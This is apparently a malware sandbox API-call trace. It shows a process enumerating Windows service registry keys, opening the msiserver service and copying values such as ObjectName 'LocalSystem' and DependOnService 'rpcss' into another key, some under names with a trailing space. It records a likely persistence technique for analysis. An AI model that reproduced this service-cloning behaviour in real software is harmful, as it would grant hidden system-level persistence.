[0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0235.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0235.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0235.989] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0235.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0235.990] RegCloseKey (hKey=0x150) returned 0x0 [0235.990] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0235.990] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0235.990] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0235.990] RegCloseKey (hKey=0x80000002) returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0235.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0235.991] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0235.991] RegCloseKey (hKey=0xc4) returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0235.991] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0235.991] RegCloseKey (hKey=0x150) returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0235.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0235.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0235.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0235.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0235.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0235.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0235.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0235.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0235.992] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.992] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.992] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.992] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.992] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.993] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.993] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.993] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.993] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0235.993] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.044] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.044] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.044] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.044] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.044] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.044] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.044] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.044] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.044] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.045] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.046] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0236.046] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.046] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.047] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0236.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0236.047] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0236.047] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.048] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) 